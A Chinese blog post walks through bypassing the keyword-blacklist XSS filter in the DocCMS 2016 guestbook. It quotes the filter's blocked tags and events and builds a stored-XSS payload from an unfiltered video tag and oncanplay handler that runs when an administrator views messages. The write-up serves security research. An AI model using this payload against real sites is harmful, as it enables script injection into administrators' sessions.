内容字号:默认大号超大号

段落设置:段首缩进取消段首缩进

字体设置:切换到微软雅黑切换到宋体

XSS防御绕过全过程

2017-08-07 15:13 出处:清屏网 人气: 评论(0

一个闲的蛋疼的周末,总想搞点事情,于是在网上找到了个cms系统,得挖出点什么来,嘿嘿

http://www. doccms.com/DocCms2016/

下载完安装后,默认前台交互处少的可怜,只有一个在线留言处,既然有在线留言,我想你们跟我一样,都想到了insert注入和储存型XSS,可惜注入经过多次测试发现被完全过滤死了。只能玩玩XSS。

像往常一样输入XSS代码然后进入后台查看过滤了哪些

后台查看源代码

我们插入的代码是

<script>alert(0)</script>

程序过滤后是:

<sc<x>ript>alert(0)</sc<x>ript> 

那么我们看下程序是如何过滤的:

   //inc/function.php 505-507行
    $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base'); 
    $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'); 
    $ra = array_merge($ra1, $ra2);

$ra1定义的过滤标签,可以看到常见的script,iframe,link都在其中

$ra2定义的过滤事件,喜闻乐见的onclick,ondblclick,oncopy也都被过滤掉了。

把上面随便一句代码复制到搜索引擎,你会发现这整个过滤函数都是在程序员无脑copy的

那么到底能不能绕过呢?

答案是肯定能绕过的,我大JavaScript岂止这些事件?经过fuzz后,还有这些关键字没被过滤掉

此时oncanplay事件是无疑是最好的,因为他无需交互,打开直接执行代码,并支持所有浏览器

 

oncanplay事件为当在视频(video)准备开始播放时执行

此事件需要配合video标签,巧的是在$ra1中,video标签也没被过滤

$ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base'); 

那么构造出Payload:

<video width="0" height="0" oncanplay=alert`0`>
	<source src="http://www.runoob.com/try/demo_source/mov_bbb.mp4" type="video/mp4">
</video>

再次尝试:

进入后台查看留言处

查看源代码:

 

分享给小伙伴们:
本文标签: XSSXSS防御绕过

相关文章

发表评论愿您的每句评论,都能给大家的生活添色彩,带来共鸣,带来思索,带来快乐。

CopyRight © 2015-2016 QingPingShan.com , All Rights Reserved.

清屏网 版权所有 豫ICP备15026204号